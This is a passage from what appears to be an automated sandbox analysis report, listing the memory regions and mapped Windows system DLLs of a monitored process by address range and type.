region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 969 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 970 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 971 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 972 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 973 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 974 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 975 start_va = 0x1ac90000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 976 start_va = 0x7ffaa2c40000 end_va = 0x7ffaa2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c40000" filename = "" Region: id = 977 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 978 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 979 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 980 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 981 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 982 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 983 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 984 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 985 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 986 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 987 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 988 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 989 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 990 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 991 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 992 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 993 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 994 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 995 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 996 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 997 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 998 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 999 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1000 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1001 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1002 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1003 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1004 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1005 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1006 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1007 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 1008 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 1009 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1010 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1011 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 1012 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1013 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1014 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 1015 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 1016 start_va = 0x1b2b0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 1017 start_va = 0x1b2d0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 1018 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 1019 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 1020 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 1021 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 1022 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 1023 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 1024 start_va = 0x7ffaa2c50000 end_va = 0x7ffaa2c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c50000" filename = "" Region: id = 1025 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1026 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1027 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1028 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1029 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1030 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1031 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1032 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1033 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1034 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1035 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1036 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1037 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1038 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1039 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1040 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1041 start_va = 0x1b210000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1042 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1043 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1044 start_va = 0x7ffb06370000 end_va = 0x7ffb06491fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\2fe311002b76e58f2f89f897a32b62a2\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.configuration\\2fe311002b76e58f2f89f897a32b62a2\\system.configuration.ni.dll") Region: id = 1045 start_va = 0x7ffafdf80000 end_va = 0x7ffafe825fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\c2f35cb9621b8ca33a05759bbb0683c1\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\c2f35cb9621b8ca33a05759bbb0683c1\\system.xml.ni.dll") Region: id = 1046 start_va = 0x7ffb1fea0000 end_va = 0x7ffb1fea7fff monitored = 0 entry_point = 0x7ffb1fea10b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1047 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1048 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1049 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1050 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1051 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1052 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1053 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1054 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1055 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1056 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1057 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1058 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1059 start_va = 0x7ffb1e310000 end_va = 0x7ffb1f86efff monitored = 0 entry_point = 0x7ffb1e4711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1060 start_va = 0x7ffb1ced0000 end_va = 0x7ffb1cf12fff monitored = 0 entry_point = 0x7ffb1cee4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1061 start_va = 0x7ffb1c880000 end_va = 0x7ffb1cec3fff monitored = 0 entry_point = 0x7ffb1ca464b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1062 start_va = 0x7ffb1d320000 end_va = 0x7ffb1d3d4fff monitored = 0 entry_point = 0x7ffb1d3622e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1063 start_va = 0x7ffb1c800000 end_va = 0x7ffb1c84afff monitored = 0 entry_point = 0x7ffb1c8035f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1064 start_va = 0x7ffb1c7d0000 end_va = 0x7ffb1c7e3fff monitored = 0 entry_point = 0x7ffb1c7d52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1065 start_va = 0x2260000 end_va = 0x2260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002260000" filename = "" Region: id = 1066 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1067 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1068 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1069 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1070 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1071 start_va = 0x7ffb1c660000 end_va = 0x7ffb1c688fff monitored = 0 entry_point = 0x7ffb1c674530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1072 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1073 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1074 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1075 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1076 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1077 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1078 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1079 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1080 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1081 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1082 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1083 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1084 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1085 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1086 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1087 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1088 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1089 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1090 start_va = 0x1b250000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1091 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1092 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1093 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1094 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1095 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1096 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1097 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1098 start_va = 0x1b290000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 1099 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1100 start_va = 0x1b390000 end_va = 0x1b757fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1101 start_va = 0x1b390000 end_va = 0x1b75dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1102 start_va = 0x1b390000 end_va = 0x1b75dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1103 start_va = 0x1b390000 end_va = 0x1b75dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1104 start_va = 0x1b390000 end_va = 0x1b760fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1105 start_va = 0x1b390000 end_va = 0x1b75afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1106 start_va = 0x1b390000 end_va = 0x1b756fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1107 start_va = 0x1b390000 end_va = 0x1b75dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1108 start_va = 0x1b390000 end_va = 0x1b761fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1109 start_va = 0x1b390000 end_va = 0x1b75bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1110 start_va = 0x1b390000 end_va = 0x1b75bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1111 start_va = 0x1b390000 end_va = 0x1b763fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1112 start_va = 0x1b390000 end_va = 0x1b75afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1113 start_va = 0x1b390000 end_va = 0x1b758fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1114 start_va = 0x1b390000 end_va = 0x1b756fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1115 start_va = 0x1b390000 end_va = 0x1b756fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1116 start_va = 0x1b390000 end_va = 0x1b758fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1117 start_va = 0x1b390000 end_va = 0x1b761fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1118 start_va = 0x1b390000 end_va = 0x1b75dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1119 start_va = 0x1b390000 end_va = 0x1b762fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1120 start_va = 0x1b390000 end_va = 0x1b763fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1121 start_va = 0x1b390000 end_va = 0x1b48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 1122 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1123 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1124 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1125 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1126 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1127 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1128 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 1129 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 1130 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 1131 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 1132 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 1133 start_va = 0x1b220000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 1134 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1135 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1136 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 1137 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1138 start_va = 0x2270000 end_va = 0x2277fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1139 start_va = 0x7ffaa2c60000 end_va = 0x7ffaa2c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c60000" filename = "" Region: id = 1140 start_va = 0x7ffaa2c70000 end_va = 0x7ffaa2c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c70000" filename = "" Region: id = 1141 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1142 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1143 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1144 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1145 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1146 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 1147 start_va = 0x7ffb02d40000 end_va = 0x7ffb02e9efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\2b17cdd44210c6b182c3804d228caba4\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.management\\2b17cdd44210c6b182c3804d228caba4\\system.management.ni.dll") Region: id = 1148 start_va = 0x7ffaa2c80000 end_va = 0x7ffaa2c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c80000" filename = "" Region: id = 1149 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1150 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1151 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1152 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 1153 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 1154 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1155 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1156 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = 